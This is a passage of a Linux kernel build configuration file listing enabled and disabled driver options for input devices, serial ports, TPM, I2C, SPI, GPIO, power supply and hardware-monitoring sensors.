# CONFIG_JOYSTICK_GAMECON is not set
# CONFIG_JOYSTICK_TURBOGRAFX is not set
# CONFIG_JOYSTICK_AS5011 is not set
# CONFIG_JOYSTICK_JOYDUMP is not set
CONFIG_JOYSTICK_XPAD=y
CONFIG_JOYSTICK_XPAD_FF=y
CONFIG_JOYSTICK_XPAD_LEDS=y
# CONFIG_JOYSTICK_WALKERA0701 is not set
# CONFIG_JOYSTICK_PSXPAD_SPI is not set
CONFIG_JOYSTICK_PXRC=y
# CONFIG_JOYSTICK_QWIIC is not set
# CONFIG_JOYSTICK_FSIA6B is not set
# CONFIG_JOYSTICK_SENSEHAT is not set
# CONFIG_JOYSTICK_SEESAW is not set
CONFIG_INPUT_TABLET=y
CONFIG_TABLET_USB_ACECAD=y
CONFIG_TABLET_USB_AIPTEK=y
CONFIG_TABLET_USB_HANWANG=y
CONFIG_TABLET_USB_KBTAB=y
CONFIG_TABLET_USB_PEGASUS=y
# CONFIG_TABLET_SERIAL_WACOM4 is not set
CONFIG_INPUT_TOUCHSCREEN=y
# CONFIG_TOUCHSCREEN_ADS7846 is not set
# CONFIG_TOUCHSCREEN_AD7877 is not set
# CONFIG_TOUCHSCREEN_AD7879 is not set
# CONFIG_TOUCHSCREEN_ADC is not set
# CONFIG_TOUCHSCREEN_AR1021_I2C is not set
# CONFIG_TOUCHSCREEN_ATMEL_MXT is not set
# CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set
# CONFIG_TOUCHSCREEN_BU21013 is not set
# CONFIG_TOUCHSCREEN_BU21029 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8318 is not set
# CONFIG_TOUCHSCREEN_CHIPONE_ICN8505 is not set
# CONFIG_TOUCHSCREEN_CY8CTMA140 is not set
# CONFIG_TOUCHSCREEN_CY8CTMG110 is not set
# CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set
# CONFIG_TOUCHSCREEN_CYTTSP5 is not set
# CONFIG_TOUCHSCREEN_DYNAPRO is not set
# CONFIG_TOUCHSCREEN_HAMPSHIRE is not set
# CONFIG_TOUCHSCREEN_EETI is not set
# CONFIG_TOUCHSCREEN_EGALAX is not set
# CONFIG_TOUCHSCREEN_EGALAX_SERIAL is not set
# CONFIG_TOUCHSCREEN_EXC3000 is not set
# CONFIG_TOUCHSCREEN_FUJITSU is not set
# CONFIG_TOUCHSCREEN_GOODIX is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_I2C is not set
# CONFIG_TOUCHSCREEN_GOODIX_BERLIN_SPI is not set
# CONFIG_TOUCHSCREEN_HIDEEP is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX852X is not set
# CONFIG_TOUCHSCREEN_HYCON_HY46XX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CSTXXX is not set
# CONFIG_TOUCHSCREEN_HYNITRON_CST816X is not set
# CONFIG_TOUCHSCREEN_ILI210X is not set
# CONFIG_TOUCHSCREEN_ILITEK is not set
# CONFIG_TOUCHSCREEN_S6SY761 is not set
# CONFIG_TOUCHSCREEN_GUNZE is not set
# CONFIG_TOUCHSCREEN_EKTF2127 is not set
# CONFIG_TOUCHSCREEN_ELAN is not set
# CONFIG_TOUCHSCREEN_ELO is not set
# CONFIG_TOUCHSCREEN_WACOM_W8001 is not set
# CONFIG_TOUCHSCREEN_WACOM_I2C is not set
# CONFIG_TOUCHSCREEN_MAX11801 is not set
# CONFIG_TOUCHSCREEN_MMS114 is not set
# CONFIG_TOUCHSCREEN_MELFAS_MIP4 is not set
# CONFIG_TOUCHSCREEN_MSG2638 is not set
# CONFIG_TOUCHSCREEN_MTOUCH is not set
# CONFIG_TOUCHSCREEN_NOVATEK_NVT_TS is not set
# CONFIG_TOUCHSCREEN_IMAGIS is not set
# CONFIG_TOUCHSCREEN_IMX6UL_TSC is not set
# CONFIG_TOUCHSCREEN_INEXIO is not set
# CONFIG_TOUCHSCREEN_PENMOUNT is not set
# CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set
# CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set
# CONFIG_TOUCHSCREEN_TOUCHWIN is not set
# CONFIG_TOUCHSCREEN_PIXCIR is not set
# CONFIG_TOUCHSCREEN_WDT87XX_I2C is not set
CONFIG_TOUCHSCREEN_USB_COMPOSITE=y
CONFIG_TOUCHSCREEN_USB_EGALAX=y
CONFIG_TOUCHSCREEN_USB_PANJIT=y
CONFIG_TOUCHSCREEN_USB_3M=y
CONFIG_TOUCHSCREEN_USB_ITM=y
CONFIG_TOUCHSCREEN_USB_ETURBO=y
CONFIG_TOUCHSCREEN_USB_GUNZE=y
CONFIG_TOUCHSCREEN_USB_DMC_TSC10=y
CONFIG_TOUCHSCREEN_USB_IRTOUCH=y
CONFIG_TOUCHSCREEN_USB_IDEALTEK=y
CONFIG_TOUCHSCREEN_USB_GENERAL_TOUCH=y
CONFIG_TOUCHSCREEN_USB_GOTOP=y
CONFIG_TOUCHSCREEN_USB_JASTEC=y
CONFIG_TOUCHSCREEN_USB_ELO=y
CONFIG_TOUCHSCREEN_USB_E2I=y
CONFIG_TOUCHSCREEN_USB_ZYTRONIC=y
CONFIG_TOUCHSCREEN_USB_ETT_TC45USB=y
CONFIG_TOUCHSCREEN_USB_NEXIO=y
CONFIG_TOUCHSCREEN_USB_EASYTOUCH=y
# CONFIG_TOUCHSCREEN_TOUCHIT213 is not set
# CONFIG_TOUCHSCREEN_TSC_SERIO is not set
# CONFIG_TOUCHSCREEN_TSC2004 is not set
# CONFIG_TOUCHSCREEN_TSC2005 is not set
# CONFIG_TOUCHSCREEN_TSC2007 is not set
# CONFIG_TOUCHSCREEN_RM_TS is not set
# CONFIG_TOUCHSCREEN_SILEAD is not set
# CONFIG_TOUCHSCREEN_SIS_I2C is not set
# CONFIG_TOUCHSCREEN_ST1232 is not set
# CONFIG_TOUCHSCREEN_STMFTS is not set
CONFIG_TOUCHSCREEN_SUR40=y
# CONFIG_TOUCHSCREEN_SURFACE3_SPI is not set
# CONFIG_TOUCHSCREEN_SX8654 is not set
# CONFIG_TOUCHSCREEN_TPS6507X is not set
# CONFIG_TOUCHSCREEN_ZET6223 is not set
# CONFIG_TOUCHSCREEN_ZFORCE is not set
# CONFIG_TOUCHSCREEN_COLIBRI_VF50 is not set
# CONFIG_TOUCHSCREEN_ROHM_BU21023 is not set
# CONFIG_TOUCHSCREEN_IQS5XX is not set
# CONFIG_TOUCHSCREEN_IQS7211 is not set
# CONFIG_TOUCHSCREEN_ZINITIX is not set
# CONFIG_TOUCHSCREEN_HIMAX_HX83112B is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATMEL_CAPTOUCH is not set
# CONFIG_INPUT_AW86927 is not set
# CONFIG_INPUT_BMA150 is not set
# CONFIG_INPUT_E3X0_BUTTON is not set
# CONFIG_INPUT_PCSPKR is not set
# CONFIG_INPUT_MMA8450 is not set
# CONFIG_INPUT_APANEL is not set
# CONFIG_INPUT_GPIO_BEEPER is not set
# CONFIG_INPUT_GPIO_DECODER is not set
# CONFIG_INPUT_GPIO_VIBRA is not set
# CONFIG_INPUT_ATLAS_BTNS is not set
CONFIG_INPUT_ATI_REMOTE2=y
CONFIG_INPUT_KEYSPAN_REMOTE=y
# CONFIG_INPUT_KXTJ9 is not set
CONFIG_INPUT_POWERMATE=y
CONFIG_INPUT_YEALINK=y
CONFIG_INPUT_CM109=y
# CONFIG_INPUT_REGULATOR_HAPTIC is not set
# CONFIG_INPUT_RETU_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_PWRBUTTON is not set
# CONFIG_INPUT_TWL4030_VIBRA is not set
CONFIG_INPUT_UINPUT=y
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set
# CONFIG_INPUT_DA7280_HAPTICS is not set
# CONFIG_INPUT_ADXL34X is not set
# CONFIG_INPUT_IBM_PANEL is not set
CONFIG_INPUT_IMS_PCU=y
# CONFIG_INPUT_IQS269A is not set
# CONFIG_INPUT_IQS626A is not set
# CONFIG_INPUT_IQS7222 is not set
# CONFIG_INPUT_CMA3000 is not set
# CONFIG_INPUT_IDEAPAD_SLIDEBAR is not set
# CONFIG_INPUT_DRV260X_HAPTICS is not set
# CONFIG_INPUT_DRV2665_HAPTICS is not set
# CONFIG_INPUT_DRV2667_HAPTICS is not set
CONFIG_RMI4_CORE=y
# CONFIG_RMI4_I2C is not set
# CONFIG_RMI4_SPI is not set
# CONFIG_RMI4_SMB is not set
CONFIG_RMI4_F03=y
CONFIG_RMI4_F03_SERIO=y
CONFIG_RMI4_2D_SENSOR=y
CONFIG_RMI4_F11=y
CONFIG_RMI4_F12=y
# CONFIG_RMI4_F1A is not set
# CONFIG_RMI4_F21 is not set
CONFIG_RMI4_F30=y
# CONFIG_RMI4_F34 is not set
CONFIG_RMI4_F3A=y
# CONFIG_RMI4_F54 is not set
# CONFIG_RMI4_F55 is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_CT82C710 is not set
# CONFIG_SERIO_PARKBD is not set
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_SERIO_ARC_PS2 is not set
# CONFIG_SERIO_APBPS2 is not set
# CONFIG_SERIO_GPIO_PS2 is not set
CONFIG_USERIO=y
# CONFIG_GAMEPORT is not set
# end of Hardware I/O ports
# end of Input device support

#
# Character devices
#
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_VT_CONSOLE_SLEEP=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_LEGACY_TIOCSTI=y
CONFIG_LDISC_AUTOLOAD=y

#
# Serial drivers
#
CONFIG_SERIAL_EARLYCON=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_PNP=y
# CONFIG_SERIAL_8250_16550A_VARIANTS is not set
# CONFIG_SERIAL_8250_FINTEK is not set
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_DMA=y
CONFIG_SERIAL_8250_PCILIB=y
CONFIG_SERIAL_8250_PCI=y
# CONFIG_SERIAL_8250_EXAR is not set
# CONFIG_SERIAL_8250_CS is not set
CONFIG_SERIAL_8250_NR_UARTS=32
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
CONFIG_SERIAL_8250_DETECT_IRQ=y
CONFIG_SERIAL_8250_RSA=y
CONFIG_SERIAL_8250_MANY_PORTS=y
# CONFIG_SERIAL_8250_PCI1XXXX is not set
# CONFIG_SERIAL_8250_DW is not set
# CONFIG_SERIAL_8250_RT288X is not set
CONFIG_SERIAL_8250_LPSS=y
CONFIG_SERIAL_8250_MID=y
CONFIG_SERIAL_8250_PERICOM=y
# CONFIG_SERIAL_8250_NI is not set
# CONFIG_SERIAL_OF_PLATFORM is not set
CONFIG_SERIAL_8250_DWLIB=y

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MAX3100 is not set
# CONFIG_SERIAL_MAX310X is not set
# CONFIG_SERIAL_UARTLITE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
# CONFIG_SERIAL_SIFIVE is not set
# CONFIG_SERIAL_LANTIQ is not set
# CONFIG_SERIAL_SCCNXP is not set
# CONFIG_SERIAL_SC16IS7XX is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_SERIAL_ARC is not set
# CONFIG_SERIAL_RP2 is not set
# CONFIG_SERIAL_FSL_LPUART is not set
# CONFIG_SERIAL_FSL_LINFLEXUART is not set
# CONFIG_SERIAL_CONEXANT_DIGICOLOR is not set
# CONFIG_SERIAL_SPRD is not set
# end of Serial drivers

CONFIG_SERIAL_MCTRL_GPIO=y
CONFIG_SERIAL_NONSTANDARD=y
# CONFIG_MOXA_INTELLIO is not set
# CONFIG_MOXA_SMARTIO is not set
CONFIG_N_HDLC=y
# CONFIG_IPWIRELESS is not set
CONFIG_N_GSM=y
CONFIG_NOZOMI=y
CONFIG_NULL_TTY=y
CONFIG_HVC_DRIVER=y
CONFIG_SERIAL_DEV_BUS=y
CONFIG_SERIAL_DEV_CTRL_TTYPORT=y
CONFIG_TTY_PRINTK=y
CONFIG_TTY_PRINTK_LEVEL=6
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set
CONFIG_VIRTIO_CONSOLE=y
# CONFIG_IPMI_HANDLER is not set
# CONFIG_SSIF_IPMI_BMC is not set
# CONFIG_IPMB_DEVICE_INTERFACE is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_HW_RANDOM_INTEL is not set
# CONFIG_HW_RANDOM_AMD is not set
# CONFIG_HW_RANDOM_BA431 is not set
# CONFIG_HW_RANDOM_VIA is not set
CONFIG_HW_RANDOM_VIRTIO=y
# CONFIG_HW_RANDOM_CCTRNG is not set
# CONFIG_HW_RANDOM_XIPHERA is not set
# CONFIG_APPLICOM is not set
# CONFIG_DEVMEM is not set
CONFIG_NVRAM=y
# CONFIG_DEVPORT is not set
CONFIG_HPET=y
CONFIG_HPET_MMAP=y
CONFIG_HPET_MMAP_DEFAULT=y
# CONFIG_HANGCHECK_TIMER is not set
CONFIG_TCG_TPM=y
# CONFIG_TCG_TPM2_HMAC is not set
# CONFIG_HW_RANDOM_TPM is not set
CONFIG_TCG_TIS_CORE=y
CONFIG_TCG_TIS=y
# CONFIG_TCG_TIS_SPI is not set
# CONFIG_TCG_TIS_I2C is not set
# CONFIG_TCG_TIS_I2C_CR50 is not set
# CONFIG_TCG_TIS_I2C_ATMEL is not set
# CONFIG_TCG_TIS_I2C_INFINEON is not set
# CONFIG_TCG_TIS_I2C_NUVOTON is not set
# CONFIG_TCG_NSC is not set
# CONFIG_TCG_ATMEL is not set
# CONFIG_TCG_INFINEON is not set
CONFIG_TCG_CRB=y
# CONFIG_TCG_VTPM_PROXY is not set
# CONFIG_TCG_TIS_ST33ZP24_I2C is not set
# CONFIG_TCG_TIS_ST33ZP24_SPI is not set
# CONFIG_TELCLOCK is not set
CONFIG_XILLYBUS_CLASS=y
# CONFIG_XILLYBUS is not set
CONFIG_XILLYUSB=y
# end of Character devices

#
# I2C support
#
CONFIG_I2C=y
CONFIG_ACPI_I2C_OPREGION=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_CHARDEV=y
CONFIG_I2C_MUX=y

#
# Multiplexer I2C Chip support
#
# CONFIG_I2C_ARB_GPIO_CHALLENGE is not set
# CONFIG_I2C_MUX_GPIO is not set
# CONFIG_I2C_MUX_GPMUX is not set
# CONFIG_I2C_MUX_LTC4306 is not set
# CONFIG_I2C_MUX_PCA9541 is not set
# CONFIG_I2C_MUX_PCA954x is not set
CONFIG_I2C_MUX_REG=y
# CONFIG_I2C_MUX_MLXCPLD is not set
# end of Multiplexer I2C Chip support

CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_SMBUS=y
CONFIG_I2C_ALGOBIT=y

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_AMD_MP2 is not set
CONFIG_I2C_I801=y
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_ISMT is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_CHT_WC is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_NVIDIA_GPU is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set
# CONFIG_I2C_ZHAOXIN is not set

#
# ACPI drivers
#
# CONFIG_I2C_SCMI is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_CBUS_GPIO is not set
CONFIG_I2C_DESIGNWARE_CORE=y
CONFIG_I2C_DESIGNWARE_PLATFORM=y
# CONFIG_I2C_DESIGNWARE_BAYTRAIL is not set
# CONFIG_I2C_DESIGNWARE_PCI is not set
# CONFIG_I2C_EMEV2 is not set
# CONFIG_I2C_GPIO is not set
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_RK3X is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
CONFIG_I2C_DIOLAN_U2C=y
CONFIG_I2C_DLN2=y
CONFIG_I2C_LJCA=y
CONFIG_I2C_CP2615=y
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PCI1XXXX is not set
CONFIG_I2C_ROBOTFUZZ_OSIF=y
# CONFIG_I2C_TAOS_EVM is not set
CONFIG_I2C_TINY_USB=y
CONFIG_I2C_VIPERBOARD=y

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_MLXCPLD is not set
# CONFIG_I2C_VIRTIO is not set
# end of I2C Hardware Bus support

# CONFIG_I2C_STUB is not set
CONFIG_I2C_SLAVE=y
CONFIG_I2C_SLAVE_EEPROM=y
# CONFIG_I2C_SLAVE_TESTUNIT is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# end of I2C support

# CONFIG_I3C is not set
CONFIG_I3C_OR_I2C=y
CONFIG_SPI=y
# CONFIG_SPI_DEBUG is not set
CONFIG_SPI_MASTER=y
# CONFIG_SPI_MEM is not set

#
# SPI Master Controller Drivers
#
# CONFIG_SPI_ALTERA is not set
# CONFIG_SPI_AXI_SPI_ENGINE is not set
# CONFIG_SPI_BITBANG is not set
# CONFIG_SPI_BUTTERFLY is not set
# CONFIG_SPI_CADENCE is not set
# CONFIG_SPI_CADENCE_QUADSPI is not set
# CONFIG_SPI_CH341 is not set
# CONFIG_SPI_DESIGNWARE is not set
CONFIG_SPI_DLN2=y
# CONFIG_SPI_GPIO is not set
# CONFIG_SPI_LM70_LLP is not set
# CONFIG_SPI_FSL_SPI is not set
CONFIG_SPI_LJCA=y
# CONFIG_SPI_MICROCHIP_CORE_QSPI is not set
# CONFIG_SPI_MICROCHIP_CORE_SPI is not set
# CONFIG_SPI_LANTIQ_SSC is not set
# CONFIG_SPI_OC_TINY is not set
# CONFIG_SPI_PCI1XXXX is not set
# CONFIG_SPI_PXA2XX is not set
# CONFIG_SPI_SC18IS602 is not set
# CONFIG_SPI_SIFIVE is not set
# CONFIG_SPI_MXIC is not set
# CONFIG_SPI_VIRTIO is not set
# CONFIG_SPI_XCOMM is not set
# CONFIG_SPI_XILINX is not set

#
# SPI Multiplexer support
#
# CONFIG_SPI_MUX is not set

#
# SPI Protocol Masters
#
# CONFIG_SPI_SPIDEV is not set
# CONFIG_SPI_LOOPBACK_TEST is not set
# CONFIG_SPI_TLE62X0 is not set
# CONFIG_SPI_SLAVE is not set
CONFIG_SPI_DYNAMIC=y
# CONFIG_SPMI is not set
# CONFIG_HSI is not set
CONFIG_PPS=y
# CONFIG_PPS_DEBUG is not set

#
# PPS clients support
#
# CONFIG_PPS_CLIENT_KTIMER is not set
# CONFIG_PPS_CLIENT_LDISC is not set
# CONFIG_PPS_CLIENT_PARPORT is not set
# CONFIG_PPS_CLIENT_GPIO is not set
# CONFIG_PPS_GENERATOR is not set

#
# PTP clock support
#
CONFIG_PTP_1588_CLOCK=y
CONFIG_PTP_1588_CLOCK_OPTIONAL=y

#
# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks.
#
CONFIG_PTP_1588_CLOCK_KVM=y
CONFIG_PTP_1588_CLOCK_VMCLOCK=y
# CONFIG_PTP_1588_CLOCK_IDT82P33 is not set
# CONFIG_PTP_1588_CLOCK_IDTCM is not set
# CONFIG_PTP_1588_CLOCK_FC3W is not set
# CONFIG_PTP_1588_CLOCK_MOCK is not set
# CONFIG_PTP_1588_CLOCK_VMW is not set
# CONFIG_PTP_1588_CLOCK_OCP is not set
# CONFIG_PTP_NETC_V4_TIMER is not set
# end of PTP clock support

#
# DPLL device support
#
# CONFIG_ZL3073X_I2C is not set
# CONFIG_ZL3073X_SPI is not set
# end of DPLL device support

# CONFIG_PINCTRL is not set
CONFIG_GPIOLIB_LEGACY=y
CONFIG_GPIOLIB=y
CONFIG_GPIOLIB_FASTPATH_LIMIT=512
CONFIG_OF_GPIO=y
CONFIG_GPIO_ACPI=y
CONFIG_GPIOLIB_IRQCHIP=y
# CONFIG_DEBUG_GPIO is not set
# CONFIG_GPIO_SYSFS is not set
# CONFIG_GPIO_CDEV is not set

#
# Memory mapped GPIO drivers
#
# CONFIG_GPIO_74XX_MMIO is not set
# CONFIG_GPIO_ALTERA is not set
# CONFIG_GPIO_AMDPT is not set
# CONFIG_GPIO_CADENCE is not set
# CONFIG_GPIO_DWAPB is not set
# CONFIG_GPIO_FTGPIO010 is not set
# CONFIG_GPIO_GENERIC_PLATFORM is not set
# CONFIG_GPIO_GRANITERAPIDS is not set
# CONFIG_GPIO_GRGPIO is not set
# CONFIG_GPIO_HLWD is not set
# CONFIG_GPIO_ICH is not set
# CONFIG_GPIO_LOGICVC is not set
# CONFIG_GPIO_MB86S7X is not set
# CONFIG_GPIO_POLARFIRE_SOC is not set
# CONFIG_GPIO_SIFIVE is not set
# CONFIG_GPIO_SYSCON is not set
# CONFIG_GPIO_XILINX is not set
# CONFIG_GPIO_AMD_FCH is not set
# end of Memory mapped GPIO drivers

#
# Port-mapped I/O GPIO drivers
#
# CONFIG_GPIO_VX855 is not set
# CONFIG_GPIO_F7188X is not set
# CONFIG_GPIO_IT87 is not set
# CONFIG_GPIO_SCH311X is not set
# CONFIG_GPIO_WINBOND is not set
# CONFIG_GPIO_WS16C48 is not set
# end of Port-mapped I/O GPIO drivers

#
# I2C GPIO expanders
#
# CONFIG_GPIO_ADNP is not set
# CONFIG_GPIO_FXL6408 is not set
# CONFIG_GPIO_DS4520 is not set
# CONFIG_GPIO_GW_PLD is not set
# CONFIG_GPIO_MAX7300 is not set
# CONFIG_GPIO_MAX732X is not set
# CONFIG_GPIO_PCA953X is not set
# CONFIG_GPIO_PCA9570 is not set
# CONFIG_GPIO_PCF857X is not set
# CONFIG_GPIO_TPIC2810 is not set
# end of I2C GPIO expanders

#
# MFD GPIO expanders
#
CONFIG_GPIO_DLN2=y
CONFIG_GPIO_LJCA=y
# CONFIG_GPIO_TWL4030 is not set
# CONFIG_GPIO_WHISKEY_COVE is not set
# end of MFD GPIO expanders

#
# PCI GPIO expanders
#
# CONFIG_GPIO_AMD8111 is not set
# CONFIG_GPIO_BT8XX is not set
# CONFIG_GPIO_ML_IOH is not set
# CONFIG_GPIO_PCI_IDIO_16 is not set
# CONFIG_GPIO_PCIE_IDIO_24 is not set
# CONFIG_GPIO_RDC321X is not set
# CONFIG_GPIO_SODAVILLE is not set
# end of PCI GPIO expanders

#
# SPI GPIO expanders
#
# CONFIG_GPIO_74X164 is not set
# CONFIG_GPIO_MAX3191X is not set
# CONFIG_GPIO_MAX7301 is not set
# CONFIG_GPIO_MC33880 is not set
# CONFIG_GPIO_PISOSR is not set
# CONFIG_GPIO_XRA1403 is not set
# end of SPI GPIO expanders

#
# USB GPIO expanders
#
CONFIG_GPIO_VIPERBOARD=y
# CONFIG_GPIO_MPSSE is not set
# end of USB GPIO expanders

#
# Virtual GPIO drivers
#
# CONFIG_GPIO_AGGREGATOR is not set
# CONFIG_GPIO_LATCH is not set
# CONFIG_GPIO_LINE_MUX is not set
# CONFIG_GPIO_MOCKUP is not set
# CONFIG_GPIO_VIRTIO is not set
# CONFIG_GPIO_SIM is not set
# end of Virtual GPIO drivers

#
# GPIO Debugging utilities
#
# CONFIG_GPIO_SLOPPY_LOGIC_ANALYZER is not set
# CONFIG_GPIO_VIRTUSER is not set
# end of GPIO Debugging utilities

# CONFIG_W1 is not set
# CONFIG_POWER_RESET is not set
# CONFIG_POWER_SEQUENCING is not set
CONFIG_POWER_SUPPLY=y
# CONFIG_POWER_SUPPLY_DEBUG is not set
CONFIG_POWER_SUPPLY_HWMON=y
# CONFIG_GENERIC_ADC_BATTERY is not set
# CONFIG_IP5XXX_POWER is not set
# CONFIG_TEST_POWER is not set
# CONFIG_CHARGER_ADP5061 is not set
# CONFIG_BATTERY_CHAGALL is not set
# CONFIG_BATTERY_CW2015 is not set
# CONFIG_BATTERY_DS2780 is not set
# CONFIG_BATTERY_DS2781 is not set
# CONFIG_BATTERY_DS2782 is not set
# CONFIG_BATTERY_SAMSUNG_SDI is not set
# CONFIG_BATTERY_SBS is not set
# CONFIG_CHARGER_SBS is not set
# CONFIG_MANAGER_SBS is not set
# CONFIG_BATTERY_BQ27XXX is not set
# CONFIG_BATTERY_MAX17040 is not set
# CONFIG_BATTERY_MAX17042 is not set
# CONFIG_BATTERY_MAX1720X is not set
CONFIG_CHARGER_ISP1704=y
# CONFIG_CHARGER_MAX8903 is not set
# CONFIG_CHARGER_TWL4030 is not set
# CONFIG_CHARGER_TWL6030 is not set
# CONFIG_CHARGER_LP8727 is not set
# CONFIG_CHARGER_GPIO is not set
# CONFIG_CHARGER_MANAGER is not set
# CONFIG_CHARGER_LT3651 is not set
# CONFIG_CHARGER_LTC4162L is not set
# CONFIG_CHARGER_DETECTOR_MAX14656 is not set
# CONFIG_CHARGER_MAX77976 is not set
# CONFIG_CHARGER_MAX8971 is not set
# CONFIG_CHARGER_MT6360 is not set
# CONFIG_CHARGER_MT6370 is not set
# CONFIG_CHARGER_BQ2415X is not set
CONFIG_CHARGER_BQ24190=y
# CONFIG_CHARGER_BQ24257 is not set
# CONFIG_CHARGER_BQ24735 is not set
# CONFIG_CHARGER_BQ2515X is not set
# CONFIG_CHARGER_BQ25890 is not set
# CONFIG_CHARGER_BQ25980 is not set
# CONFIG_CHARGER_BQ256XX is not set
# CONFIG_CHARGER_SMB347 is not set
# CONFIG_BATTERY_GAUGE_LTC2941 is not set
# CONFIG_BATTERY_GOLDFISH is not set
# CONFIG_BATTERY_RT5033 is not set
# CONFIG_CHARGER_RT9455 is not set
# CONFIG_CHARGER_RT9467 is not set
# CONFIG_CHARGER_RT9471 is not set
# CONFIG_CHARGER_RT9756 is not set
# CONFIG_FUEL_GAUGE_STC3117 is not set
# CONFIG_CHARGER_UCS1002 is not set
# CONFIG_CHARGER_BD99954 is not set
# CONFIG_BATTERY_SURFACE is not set
# CONFIG_CHARGER_SURFACE is not set
# CONFIG_BATTERY_UG3105 is not set
# CONFIG_FUEL_GAUGE_MM8013 is not set
CONFIG_HWMON=y
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_ABITUGURU is not set
# CONFIG_SENSORS_ABITUGURU3 is not set
# CONFIG_SENSORS_AD7314 is not set
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM1177 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7310 is not set
# CONFIG_SENSORS_ADT7410 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_AHT10 is not set
CONFIG_SENSORS_AQUACOMPUTER_D5NEXT=y
# CONFIG_SENSORS_AS370 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ASUS_ROG_RYUJIN is not set
# CONFIG_SENSORS_AXI_FAN_CONTROL is not set
# CONFIG_SENSORS_K8TEMP is not set
# CONFIG_SENSORS_K10TEMP is not set
# CONFIG_SENSORS_FAM15H_POWER is not set
# CONFIG_SENSORS_APPLESMC is not set
# CONFIG_SENSORS_ASB100 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_CHIPCAP2 is not set
CONFIG_SENSORS_CORSAIR_CPRO=y
CONFIG_SENSORS_CORSAIR_PSU=y
# CONFIG_SENSORS_DRIVETEMP is not set
# CONFIG_SENSORS_DS620 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_DELL_SMM is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_FSCHMD is not set
# CONFIG_SENSORS_FTSTEUTATES is not set
CONFIG_SENSORS_GIGABYTE_WATERFORCE=y
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_GPD is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_G762 is not set
